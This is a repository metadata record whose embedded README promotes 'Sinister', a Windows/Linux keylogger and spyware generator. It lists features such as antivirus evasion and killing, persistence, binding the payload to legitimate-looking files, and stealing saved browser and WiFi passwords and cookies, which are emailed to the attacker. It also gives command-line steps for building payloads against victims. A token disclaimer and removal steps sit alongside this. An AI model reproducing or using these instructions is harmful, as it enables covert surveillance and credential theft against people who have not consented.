{"id":22104264,"url":"https://github.com/pushpenderindia/sinister","last_synced_at":"2025-04-09T05:09:50.179Z","repository":{"id":43639472,"uuid":"215707270","full_name":"PushpenderIndia/Sinister","owner":"PushpenderIndia","description":"Sinister is Windows/Linux Keylogger Generator which sends key-logs via email with other juicy target info","archived":false,"fork":false,"pushed_at":"2024-09-24T08:57:53.000Z","size":16325,"stargazers_count":453,"open_issues_count":14,"forks_count":92,"subscribers_count":23,"default_branch":"master","last_synced_at":"2025-04-02T04:02:55.935Z","etag":null,"topics":["advanced","antivirus-killer","binder","built-in-binder","disable-security-center","hacking","kali-linux","keylogger","linux","persistence","python","screenshots","sends-screenshots","sinister","spyware","spyware-generator","technowlogger","windows"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PushpenderIndia.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-10-17T05:04:55.000Z","updated_at":"2025-02-26T10:41:47.000Z","dependencies_parsed_at":"2024-01-14T15:25:14.740Z","dependency_job_id":"fc2dfdd9-9891-4915-b786-019832ac9235","html_url":"https://github.com/PushpenderIndia/Sinister","commit_stats":null,"previous_names":["pushpenderindia/sinister"],"tags_count":9,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PushpenderIndia%2FSinister","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PushpenderIndia%2FSinister/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PushpenderIndia%2FSinister/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PushpenderIndia%2FSinister/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PushpenderIndia","download_url":"https://codeload.github.com/PushpenderIndia/Sinister/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247980837,"owners_count":21027808,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["advanced","antivirus-killer","binder","built-in-binder","disable-security-center","hacking","kali-linux","keylogger","linux","persistence","python","screenshots","sends-screenshots","sinister","spyware","spyware-generator","technowlogger","windows"],"created_at":"2024-12-01T06:30:07.858Z","updated_at":"2025-04-09T05:09:50.159Z","avatar_url":"https://github.com/PushpenderIndia.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://github.com/PushpenderIndia/Sinister/blob/master/img/technowlogger-logo.png\" alt=\"Sinister Logo\" width=200 height=200/\u003e\n\u003c/p\u003e\n\n\u003ch1 align=\"center\"\u003eSinister\u003c/h1\u003e\n\u003cp align=\"center\"\u003e\n    \u003ca href=\"https://python.org\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/Python-3.7-green.svg\"\u003e\n  \u003c/a\u003e\n  \u003ca href=\"https://github.com/PushpenderIndia/Sinister/blob/master/LICENSE\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/License-BSD%203-lightgrey.svg\"\u003e\n  \u003c/a\u003e\n  \u003ca href=\"https://github.com/PushpenderIndia/Sinister/releases\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/Release-2.4-blue.svg\"\u003e\n  \u003c/a\u003e\n  \u003ca href=\"https://github.com/PushpenderIndia/Sinister\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/Open%20Source-%E2%9D%A4-brightgreen.svg\"\u003e\n  \u003c/a\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://github.com/PushpenderIndia/Sinister/blob/master/img/hacker-gif.gif\" alt=\"Hacker GIF\" width=200 height=200/\u003e\n\u003c/p\u003e\n             \n                        This small python script can do really awesome work.\n\nSinister is Keylogger Generator for Windows/Linux, which sends key-logs \u0026 screenshot via email with other juicy target info written in Python 3.\n\n## Disclaimer\n\u003cp align=\"center\"\u003e\n  :computer: This project was created only for good purposes and personal use.\n\u003c/p\u003e\n\nTHIS SOFTWARE IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.\n\n## Features\n- [x] Works on Windows/Linux\n- [x] Notify New Victim Via Email\n- [x] Undetectable\n- [x] Persistence\n- [x] Email Credentials Validation before Payload Generation.\n- [x] Can receive Keylogs in any email provider such as GMAIL, YAHOO, OUTLOOK, Custom SMTP.\n\n* SMTP Server/ Port\n\n| Server Name | SMTP Server | SMTP Port |\n| ----------- | ----------- | --------- |\n| GMAIL       | smtp.gmail.com | 587 |\n| OUTLOOK     | smtp-mail.outlook.com | 587 |\n| YAHOO       | smtp.mail.yahoo.com | 587 |\n\n- [x] Sends Screenshot of Victim PC's Screen via email\n- [x] Creates Executable Binary With Zero Dependencies\n- [x] Create less size ~ 5mb payload with advance functionality\n- [x] Obfusticate the Payload before Generating it, hence Bypassing few more antivirus\n- [x] Generated Payload is Encoded with base64, hence makes extremely difficult to reverse engineer the payload\n- [x] Function to Kill Antivirus on Victim PC and tries to disable the security\n- [x] Awesome Colourful Interface to generate payload\n- [x] On Attacker Side: While Creating Payload, Script Automatically Detects Missing Dependencies \u0026 Installs Them\n- [x] Distinguish Log Data on the Basics of Active Window Name  **(Check Image for Better Understanding)**\n- [x] Able to add custom Icon to evil file\n- [x] **Built-in Binder** which can bind Keylogger to **Any File** [.pdf, .txt, .exe etc], Running legitimate file on front end \u0026 evil codes in back-end as a service.\n- [x] Checks for **Already Running Instance** on System, If running instance found, then only legitimate file is executed [**Multiple Instance Prohibiter** to avoid Receiving Duplicate Email Logs].\n- [x] Attacker can Create/Compile for Both **Windows/Linux OS** Using Linux System, But Can only Create/Compile **Windows** Executable using Windows Machine\n- [x] Retrieves Saved Passwords from victim System and sends it to Attacker.\n\n| Built-in Stealer Can Steal These Things : |\n| ----------------------------------------------------------- |\n| Chrome Browser (Saved Password) |\n| WiFi (Saved Password) |\n| Chrome Cookies (Login Data, Cookies, History) |\n| Firefox Cookies (cookies.sqlite) |\n#### Note: Custom Stealer is Coded, does not relies on LaZagne\n\n- [x] Grabs \u0026 Send Useful Information of Victim's Device\n\n| These Things are Grabbed \u0026 Sended: |\n| -----------------------------------|\n| Operating System |\n| Computer Name    |\n| User Name |\n| Public IPv4 |\n\n- [x] If your payload is unable to execute, then specify --debug to run exe on foreground with CMD\n\n## Important\nOn **30 May 2022**, Google has **removed less secure apps feature**, so instead of Gmail Password:\n- Enable 2FA on your attacker gmail\n- Create App Specific Password\n- Use that `app specific password`, while creating payload. \n- How to Create App Specific Password: [Click Here](https://support.google.com/mail/answer/185833?hl=en) \n\n\n## Tested On\n[![Kali)](https://www.google.com/s2/favicons?domain=https://www.kali.org/)](https://www.kali.org) **Kali Linux - ROLLING EDITION**\n\n[![Windows)](https://www.google.com/s2/favicons?domain=https://www.microsoft.com/en-in/windows/)](https://www.microsoft.com/en-in/windows/) **Windows 10**\n\n[![Windows)](https://www.google.com/s2/favicons?domain=https://www.microsoft.com/en-in/windows/)](https://www.microsoft.com/en-in/windows/) **Windows 8.1 - Pro**\n\n[![Windows)](https://www.google.com/s2/favicons?domain=https://www.microsoft.com/en-in/windows/)](https://www.microsoft.com/en-in/windows/) **Windows 7 - Ultimate**\n\n## Prerequisite\n- [x] Python 3.X\n- [x] Few External Modules\n\n## How To Use in Linux\n```bash\n# Navigate to the /opt directory (optional)\n$ cd /opt/\n\n# Clone this repository\n$ git clone https://github.com/PushpenderIndia/Sinister.git\n\n# Navigate to Sinister folder\n$ cd Sinister\n\n# Installing dependencies\n$ bash installer_linux.sh\n\n*** Note When The Python Installer DialogBox Appear while executing installer_linux.sh ***\n    * Click on custom install \n    * Select Path to : C:/Python37-32\n    ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32\n\n# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py\n$ python3 installer_linux.py\n\n$ chmod +x Sinister.py\n$ python3 Sinister.py --help\n\n# Making Payload/RAT\n$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path\n\n# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)\n$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path\n\n# Making Payload using OUTLOOK SMTP Server, Port Configuration\n$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path\n\n# Making Payload using YAHOO SMTP Server, Port Configuration\n$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path\n\nNote: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico\n```\n\n## How To Use in Windows\n```bash\n# Install dependencies \n$ Install latest python 3.x\n\n# Clone this repository\n$ git clone https://github.com/PushpenderIndia/Sinister.git\n\n# Go into the repository\n$ cd Sinister\n\n# Installing dependencies\n$ python -m pip install -r requirements.txt\n\n# Open Sinister.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = \"C:/Python37-32/Scripts/pyinstaller.exe\" \n\n# Getting Help Menu\n$ python Sinister.py --help\n\n# Making Payload/RAT\n$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -w -o output_file_name --icon icon_path\n\n# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)\n$ python Sinister.py -e youremail@gmail.com -p YourEmailPass-w -o output_file_name --icon icon_path\n\n# Making Payload using OUTLOOK SMTP Server, Port Configuration\n$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path\n\n# Making Payload using YAHOO SMTP Server, Port Configuration\n$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path\n\nNote: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico\n```\n\n## How to Update\n\n* Run updater.py to Update Autmatically or Download the latest Zip from this GitHub repo\n* Note: Git Must be Installed in order to use updater.py\n\n## Note:- Evil File will be saved inside dist/ folder, inside Sinister/ folder\n\n## Available Arguments \n* Optional Arguments\n\n| Short Hand  | Full Hand | Description |\n| ----------  | --------- | ----------- |\n| -h          | --help    | show this help message and exit |\n| -i INTERVAL | --interval INTERVAL | Time between reports in seconds. default=120|\n| -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | Becoming Persistence After __ seconds. default=10 |\n| -x SMTP_Server | --smtp | Custom SMTP Server . default=\"smtp.gmail.com\" |\n| -y SMTP_Port | --port | Custom SMTP Port . default=587 |\n|  -w | --windows | Generate a Windows executable. |\n|  -l | --linux   | Generate a Linux executable. |\n|  -s | --steal-password | Steal Saved Password from Victim Machine [**Supported OS : Windows**] |\n| -b file.txt | --bind LEGITIMATE_FILE_PATH.pdf | AutoBinder : Specify Path of Legitimate file. [**Supported OS : Windows**] |\n| -d | --debug | Payload Will Run In Foreground with CMD Window, To get Appropriate Execution Error |\n#### Note : Either **-w/--windows** or  **-l/--linux** must be specified \n\n* Required Arguments\n\n| Short Hand  | Full Hand | Description |\n| ----------  | --------- | ----------- |\n|             | --icon ICON   | Specify Icon Path, Icon of Evil File [**Note : Must Be .ico**] |\n| -e EMAIL    | --email EMAIL | Email address to send reports to. |\n| -p PASSWORD | --password PASSWORD | Password for the email address given in the -e argument. |\n| -o OUT      | --out OUT    | Output file name.|\n\n\n## New Screenshots:\n\n\n#### Getting Help\n![](/img/1.version_1.3.PNG)\n\n#### Generating payload\n![](/img/2.version_1.3.PNG)\n\n#### Getting report\n![](/img/3.version_1.2.PNG)\n\n#### Log Data is Distinguished on The Basics of Active Window Name ~ Feature Added to v1.3 \u0026 Onward\n![](/img/10.distinguish_log_data_v1.3.PNG)\n\n#### Retrives \u0026 Sends Saved Chrome Browser's Password \n* Note: In order to use this feature, specify **-s or --steal-password** while creating keylogger\n![](/img/saved_chrome_browser_password.PNG)\n\n#### Retrives \u0026 Sends Saved WIFI Password \n* Note: In order to use this feature, specify **-s or --steal-password** while creating keylogger\n![](/img/saved_wifi_password.PNG)\n \t\n### Also Refer These Old Images\n\n## ~Old Screenshots:\n\n#### Getting Help\n![](/img/1.help.png)\n\n#### Running Sinister.py Script\n![](/img/2.running_script.png)\n\n#### Building Finished\n![](/img/3.building_finished.png)\n\n#### When Keylogger runs, it adds Registry to become persistence\n![](/img/4.keylogger_added_registry_for_persistence.png)\n\n#### Makes copy of itself and saved it inside Roaming\n![](/img/5.keylogger_saved_roaming.png)\n\n#### Typing Random text to test Keylogger\n![](/img/6.randomText-to-test-keylogger.png)\n\n#### Report 1 sended by Sinister\n![](/img/7.result.png)\n\n#### Login facebook ~ Victim\n![](/img/8.testing-keylogger.png)\n\n#### Report 2 - Keylogs of facebook Credentials\n![](/img/9.report-1.png)\n\n#### Report 3 - With Screenshots\n![](/img/10.report-2.png)\n\n## Debug Issues\n\nTry to Run **Offline Keylogger** in order to test Offline Key logs capturing \u0026 Debug keylogger issues by running these commands:\n\nRun **test_key.py** In both the modes [**Compiled \u0026 Raw**] and figure out whats the error\n\nRun it like this : `python test_key.py`\n\nAlso Compile it like this:\n`pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard`\n\nAfter running it, Start typing something,\nResult will be displayed on the Command prompt after every 10 seconds\n\n**Offline keylogger's files are present in TestKeylogger Folder**\n\n* If payload is unable to execute on victim's system\n```\n1. Create a new payload with --debug flag\n2. Run payload exe throught cmd [Don't Execute Payload By Double Clicking It]\n3. It will now give more appropriate error in CMD, just put that issue in Issue Section\n```\n\n## Removing Sinister in Windows:\n\n#### Method 1:\n\n   * Go to start, type regedit and run the first program, this will open the registry editor.\n   * Navigate to the following path Computer\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run There should be an entry called svchost, right click this entry and select Delete.\n   * Go to your user path \u003e AppData \u003e Roaming, you’ll see a file named “svchost.exe”, this is the RAT, right click \u003e Delete.\n   * Restart the System.\n\n#### Method 2:\n   * Run \"RemoveSinister.bat\" in Infected System and then restart the PC to stop the current Running Evil File.\n\n## Removing Sinister in Linux:\n\n   * Open Autostart file with any text editor,\n     ****Autostart File Path: ~/.config/autostart/xinput.desktop****\n   * Remove these 5 lines:\n   \n            [Desktop Entry]\n            Type=Application\n            X-GNOME-Autostart-enabled=true\n            Name=Xinput\n            Exec=\"destination_file_name\"\n        \n   * Note: **destination_file_name** is that name of evil_file which you gave \n      to your Keylogger using -o parameter\n   * Reboot your system and then delete the evil file stored this this below path\n   * Destination Path, where Keylogger is stored : **~/.config/xnput**\n\n## Contributors\n\n- Dedicated Contributors List: [Contributors](CONTRIBUTORS.md)\n\n\u003c!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --\u003e\n\u003c!-- prettier-ignore-start --\u003e\n\u003c!-- markdownlint-disable --\u003e\n\n\u003ctable\u003e\n\u003ctr\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/PushpenderIndia?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003ePushpender Singh\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=PushpenderIndia\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/yathomasi\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/yathomasi?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003eThomas Kunwar\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=yathomasi\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/krasnova19\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/krasnova19?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003ekrasnova19\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=krasnova19\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/archish5\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/archish5?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003esarchish5\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=archish5\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/chiragcode11\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/chiragcode11?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003echiragcode11\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=chiragcode11\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003ctd align=\"center\"\u003e\n    \u003ca href=\"https://github.com/C4RR0T02\"\u003e\n        \u003ckbd\u003e\u003cimg src=\"https://avatars3.githubusercontent.com/C4RR0T02?size=400\" width=\"100px;\" alt=\"\"/\u003e\u003c/kbd\u003e\u003cbr /\u003e\n        \u003csub\u003e\u003cb\u003eC4RR0T02\u003c/b\u003e\u003c/sub\u003e\n    \u003c/a\u003e\u003cbr /\u003e\n    \u003ca href=\"https://github.com/PushpenderIndia/Sinister/commits?author=C4RR0T02\" title=\"Code\"\u003e :computer: \u003c/a\u003e \n\u003c/td\u003e\n\n\u003c/tr\u003e\n\u003c/tr\u003e\n\u003c/table\u003e\n\n\u003c!-- markdownlint-enable --\u003e\n\u003c!-- prettier-ignore-end --\u003e\n\u003c!-- ALL-CONTRIBUTORS-LIST:END --\u003e\n\nContributions of any kind welcome!\n\n\u003e    NOTE: If you should be on the list of contributors but we forgot you, then do let us know!\n\n## TODO\n- [ ] Suggest your own feature\n- [ ] Add New features\n- [ ] Contribute GUI Version\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpushpenderindia%2Fsinister","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpushpenderindia%2Fsinister","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpushpenderindia%2Fsinister/lists"}